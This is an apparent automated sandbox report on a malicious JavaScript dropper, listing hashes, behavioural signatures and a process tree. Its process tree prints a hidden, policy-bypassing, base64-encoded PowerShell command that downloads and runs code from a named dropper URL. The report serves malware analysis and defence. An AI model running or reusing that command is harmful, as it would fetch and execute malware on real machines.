Analysis
- max time kernel
17s - max time network
133s - platform
windows10_x64 - resource
win10v20210408 - submitted
29/07/2021, 05:05
Static task
static1
Behavioral task
behavioral1
Sample
2021APT-28_33816453.js
Resource
win7v20210408
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
2021APT-28_33816453.js
Resource
win10v20210408
0 signatures
0 seconds
General
- Target 2021APT-28_33816453.js
- Size 80KB
- Sample210729-rdy7exd6bx
- SHA256 1e66c01d3e2c896aea6f9608ac121048bb93fc182a61d6554ed92052fa638fc8
- MD5 6e97d3248be719d62ab5371d03f5588b
- SHA1 3a6af84d1cd133c603eb66f15e082995ea03ca8f
- SHA512 29f2c9c73af4426ea0bdbda65745bc8af847d7979eb819ad66cfdbfc18bc9d89169590c62836c05459b1ce530c568a37873079fbfef94c8a34e331dbbaefd8a2
- MD5 SHA1 SHA512
Score
10/10
Malware Config
Extracted
Language
-
ps1
Deobfuscated
Source
URLs
-
ps1.dropper
http://smart-integrator.hr/pornhub.php
Signatures
- Blocklisted process makes network request 1 IoCs
flow pid Process 14 2908 powershell.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Program crash 1 IoCs
pid pid_target Process procid_target 1840 2908 WerFault.exe 76 - Suspicious behavior: EnumeratesProcesses 18 IoCs
pid Process 2908 powershell.exe 2908 powershell.exe 2908 powershell.exe 1840 WerFault.exe 1840 WerFault.exe 1840 WerFault.exe 1840 WerFault.exe 1840 WerFault.exe 1840 WerFault.exe 1840 WerFault.exe 1840 WerFault.exe 1840 WerFault.exe 1840 WerFault.exe 1840 WerFault.exe 1840 WerFault.exe 1840 WerFault.exe 1840 WerFault.exe 1840 WerFault.exe - Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 2908 powershell.exe Token: SeDebugPrivilege 1840 WerFault.exe - Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 1440 wrote to memory of 3496 1440 wscript.exe 73 PID 1440 wrote to memory of 3496 1440 wscript.exe 73 PID 3496 wrote to memory of 2908 3496 cmd.exe 76 PID 3496 wrote to memory of 2908 3496 cmd.exe 76
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\2021APT-28_33816453.js1⤵
- Suspicious use of WriteProcessMemory
PID:1440 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA2⤵
- Suspicious use of WriteProcessMemory
PID:3496 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepoWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2908 -
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 2908 -s 22964⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1840
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